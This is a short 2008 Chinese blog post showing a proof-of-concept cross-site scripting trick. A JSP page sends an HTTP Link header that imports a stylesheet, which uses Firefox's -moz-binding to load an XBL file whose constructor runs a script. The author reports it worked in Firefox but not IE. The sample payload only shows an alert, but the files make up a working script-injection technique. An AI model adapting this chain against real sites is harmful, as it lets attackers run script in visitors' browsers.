HTTP HEADER IMPORT XSS

测试了IE 不成功TMD~~~，FF可以！

import.jsp

<%
response.addHeader("Link", "<http://ip:8080/myweb/xss.css> ; REL=stylesheet") ;
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> xss </TITLE>
</HEAD>
<BODY></BODY>
</HTML>

xss.css

body{-moz-binding:url("http://ip:8080/myweb/1.xml#xss");}
body{background: yellow}

1.xml

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
    <implementation>
      <constructor>
        alert("kj021320");
      </constructor>
    </implementation>
</binding>
</bindings>

posted on 2008-08-25 17:43 springside例子阅读(198) 评论(0) 编辑收藏举报